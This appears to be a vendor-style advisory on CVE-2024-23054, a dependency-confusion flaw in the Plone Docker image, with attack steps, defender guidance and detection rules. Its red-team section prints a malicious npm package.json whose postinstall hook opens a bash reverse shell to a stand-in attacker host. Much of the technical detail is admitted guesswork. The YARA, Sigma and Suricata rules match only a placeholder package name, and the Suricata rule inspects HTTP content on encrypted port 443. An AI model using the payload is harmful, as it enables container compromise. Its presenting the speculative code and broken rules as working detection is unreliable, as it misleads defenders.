CVE-2024-23054

Executive Summary

CVE-2024-23054 identifies a critical supply chain vulnerability in the Plone Docker Official Image version 5.2.13 (5221). The issue stems from a package referenced in the ++plone++static/components directory that does not exist in the public npm registry. This missing package can be exploited by an attacker who registers the same package name on npm, causing the Docker image to download and execute malicious code during build or runtime. The vulnerability enables remote code execution (RCE) with the privileges of the Plone process. No official patch or advisory has been released by the vendor at this time.

Supply Chain & Package Security

This vulnerability is a classic supply chain attack vector targeting the npm ecosystem. The Plone Docker image includes a static components directory that references an npm package that is not publicly available. An attacker can register the missing package name on npm, upload a malicious version, and when the Docker image is built or updated, the malicious package will be installed and executed. This type of attack is known as a "dependency confusion" or "package substitution" attack. The impact is severe as it can lead to full compromise of the container and potentially the host system.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the nature of the vulnerability (supply chain RCE), the estimated CVSS v3.1 score would be 9.8 (Critical).

• Attack Vector (AV): Network (N) – The attacker can register the package remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's code run in the same security context.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full control over the application.
• Availability (A): High (H) – Can disrupt service.

Threat Level: Critical. The attack is easy to execute, requires no authentication, and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the Plone Docker image's static components directory located at ++plone++static/components. This directory is used to serve static JavaScript and CSS files. The Docker image includes a reference to an npm package that does not exist in the public npm registry. When the Docker image is built or when Plone attempts to resolve dependencies, it may try to install this missing package from npm.

The attack flow:

1. An attacker identifies the missing package name (e.g., by inspecting the Docker image or source code).
2. The attacker registers that package name on the public npm registry.
3. The attacker uploads a malicious version of the package containing arbitrary code (e.g., a reverse shell, data exfiltration, or backdoor).
4. When a user builds or updates the Plone Docker image, the malicious package is downloaded and executed.
5. The attacker gains remote code execution within the container.

The vulnerability is particularly dangerous because it affects the official Docker image, which is widely used for deployment. The missing package could be a legitimate package that was removed or renamed, or it could be a typo-squatting opportunity.

Vulnerable vs. Patched Code

Vulnerable Code (Dockerfile or build script): The vulnerable configuration likely includes a line similar to:

RUN npm install --prefix /plone/static/components missing-package-name

Or a package.json file inside the static components directory that lists the missing package.

Patched Code (Hypothetical): The patched version would either:

• Remove the reference to the missing package.
• Replace it with a verified, existing package.
• Pin the package to a specific, known-good version.
• Use a private registry or vendored dependencies.

Example patched Dockerfile:

RUN npm install --prefix /plone/static/components verified-package@1.2.3

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Knowledge of the missing package name (e.g., missing-package-name).
• An npm account to publish the malicious package.

Steps:

1. Create a malicious npm package with the same name as the missing one.
2. Include a postinstall script that executes arbitrary code (e.g., reverse shell).
3. Publish the package to npm.
4. Wait for a victim to build or update the Plone Docker image.

Example malicious package (package.json):

{
  "name": "missing-package-name",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node -e \"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker-ip/4444 0>&1\\\"')\""
  }
}

Build the Docker image:

docker build -t plone-malicious .

Blue Team (Defender)

Detection:

• Monitor npm registry for new packages with names similar to internal or missing dependencies.
• Use software composition analysis (SCA) tools to detect missing or unverified packages.
• Implement network segmentation to limit outbound connections from build servers.

Prevention:

• Use a private npm registry (e.g., Verdaccio, Artifactory) to control package sources.
• Pin all dependencies to specific versions and verify checksums.
• Regularly audit Docker images for missing or suspicious packages.

Lab Setup:

• Use a sandboxed environment (e.g., Docker-in-Docker) to test builds.
• Monitor network traffic during builds for unexpected connections.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs during Docker build.
• File System: Unexpected files in /plone/static/components/node_modules/.
• Process: Unusual child processes spawned by npm or node.
• Logs: npm install logs showing installation of a previously missing package.
• Registry: Newly registered npm package with the same name as the missing dependency.

Detection Engineering

YARA Rule

rule CVE_2024_23054_Plone_SupplyChain
{
    meta:
        description = "Detects Plone Docker images with missing npm package references"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23054"
    strings:
        $missing_pkg = "missing-package-name" nocase
        $npm_install = "npm install" nocase
        $static_components = "++plone++static/components" nocase
    condition:
        all of them
}

Sigma Rule

title: Plone Docker Image Missing npm Package
id: cve-2024-23054
status: experimental
description: Detects attempts to exploit CVE-2024-23054 by registering missing npm packages
author: Valters IT
logsource:
    product: docker
    service: build
detection:
    selection:
        ImageName|contains: 'plone'
        Command|contains: 'npm install'
        PackageName|contains: 'missing-package-name'
    condition: selection
falsepositives:
    - Legitimate package name collisions (rare)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-23054 Plone Supply Chain Attack - npm Package Registration"; flow:to_server; content:"POST"; http_method; content:"/-/package/missing-package-name"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not use the Plone Docker Official Image version 5.2.13 (5221) until a patch is released.
2. Audit your current Plone Docker images for the missing package reference.
3. Pin all npm dependencies to specific, verified versions.
4. Use a private npm registry (e.g., Verdaccio, Artifactory) to control package sources.

Long-term Mitigation:

• Implement software composition analysis (SCA) in your CI/CD pipeline.
• Regularly update Docker images and monitor for CVEs.
• Use container image scanning tools (e.g., Trivy, Clair) to detect vulnerabilities.
• Follow the principle of least privilege for container processes.

Patch Status: UNKNOWN / UNPATCHED. Monitor the Plone project for updates.

Valters IT